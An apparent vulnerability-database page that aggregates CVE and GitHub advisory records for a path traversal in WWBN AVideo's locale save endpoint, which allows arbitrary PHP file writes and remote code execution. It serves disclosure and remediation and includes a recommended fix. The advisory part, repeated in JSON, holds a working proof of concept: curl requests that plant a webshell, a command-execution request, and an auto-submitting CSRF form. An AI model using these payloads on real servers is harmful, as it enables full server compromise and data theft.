Vulnerability-Lookup

CVE-2026-40909 (GCVE-0-2026-40909)

Vulnerability from cvelistv5 – Published: 2026-04-21 19:54 – Updated: 2026-04-21 20:36

Title

WWBN AVideo has a Path Traversal in Locale Save Endpoint that Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

Summary

WWBN AVideo is an open source video platform. In versions 29.0 and prior, the locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution. Commit 57f89ffbc27d37c9d9dd727212334846e78ac21a fixes the issue.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-21 20:14 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7993 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/57f89ffbc27…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: <= 29.0	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-40909

Vulnerability from fkie_nvd - Published: 2026-04-21 20:17 - Updated: 2026-10-26 21:10

Severity

8.7 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a	Patch
security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

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    },
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        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-40909",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-21T20:14:58.491394Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-21T20:17:03.347",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-6RC6-P838-686F

Vulnerability from github – Published: 2026-04-14 22:49 – Updated: 2026-04-24 20:30

Summary

WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

Details

Summary

The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.

Details

In locale/save.php, the vulnerable code path is:

// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
    // ...
    die(json_encode($obj));
}

// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";

// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");

// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);

Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.

The file content is constructed as:

<?php
global $t;
{$_POST['code']}  // attacker-controlled, written verbatim

An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).

CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.

PoC

Direct exploitation (requires admin session):

# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
  -X POST 'https://target/locale/save.php' \
  -d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'

# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...

CSRF variant (no direct admin access needed):

Host the following HTML on an attacker-controlled site and lure an admin to visit:

<html>
<body>
<form method="POST" action="https://target/locale/save.php">
  <input type="hidden" name="flag" value="../../webshell">
  <input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.

Impact

Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
CSRF to RCE chain: Because no CSRF token is required and SameSite=None is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.
Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.

Recommended Fix

Sanitize the flag parameter to prevent path traversal and add CSRF protection:

// locale/save.php — after the admin check at line 14

// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
    $obj->status = 0;
    $obj->error = __("Invalid token");
    die(json_encode($obj));
}

// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
    $obj->status = 0;
    $obj->error = __("Invalid locale flag");
    die(json_encode($obj));
}

$file = $dir . $flag . ".php";

// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
    $obj->status = 0;
    $obj->error = __("Invalid file path");
    die(json_encode($obj));
}

Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:49:48Z",
    "nvd_published_at": "2026-04-21T20:17:03Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST[\u0027flag\u0027]` into the path at line 30 without any sanitization. The `$_POST[\u0027code\u0027]` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 \u2014 only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global[\u0027disableAdvancedConfigurations\u0027])) {\n    // ...\n    die(json_encode($obj));\n}\n\n// locale/save.php:16 \u2014 base directory\n$dir = \"{$global[\u0027systemRootPath\u0027]}locale/\";\n\n// locale/save.php:30 \u2014 UNSANITIZED path concatenation\n$file = $dir.($_POST[\u0027flag\u0027]).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 \u2014 UNSANITIZED content write\nfwrite($myfile, $_POST[\u0027code\u0027]);\n```\n\n**Root cause**: `$_POST[\u0027flag\u0027]` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` \u2014 the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n\u003c?php\nglobal $t;\n{$_POST[\u0027code\u0027]}  // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker\u0027s page will include the admin\u0027s session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b \u0027PHPSESSID=\u003cadmin_session\u003e\u0027 \\\n  -X POST \u0027https://target/locale/save.php\u0027 \\\n  -d \u0027flag=../../webshell\u0026code=$t[\"x\"]=1;?\u003e\u003c%3fphp+system($_GET[\"c\"]);\u0027\n\n# Step 2: Execute commands via the written webshell\ncurl \u0027https://target/webshell.php?c=id\u0027\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"POST\" action=\"https://target/locale/save.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"flag\" value=\"../../webshell\"\u003e\n  \u003cinput type=\"hidden\" name=\"code\" value=\u0027$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);\u0027\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.forms[0].submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php \u2014 after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST[\u0027token\u0027]) || !User::isValidToken($_POST[\u0027token\u0027])) {\n    $obj-\u003estatus = 0;\n    $obj-\u003eerror = __(\"Invalid token\");\n    die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST[\u0027flag\u0027]); // strip directory components\nif (empty($flag) || preg_match(\u0027/[^a-zA-Z0-9_\\-]/\u0027, $flag)) {\n    $obj-\u003estatus = 0;\n    $obj-\u003eerror = __(\"Invalid locale flag\");\n    die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . \u0027/\u0027 . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n    $obj-\u003estatus = 0;\n    $obj-\u003eerror = __(\"Invalid file path\");\n    die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.",
  "id": "GHSA-6rc6-p838-686f",
  "modified": "2026-04-24T20:30:17Z",
  "published": "2026-04-14T22:49:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40909"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-40909 (GCVE-0-2026-40909)

FKIE_CVE-2026-40909

GHSA-6RC6-P838-686F

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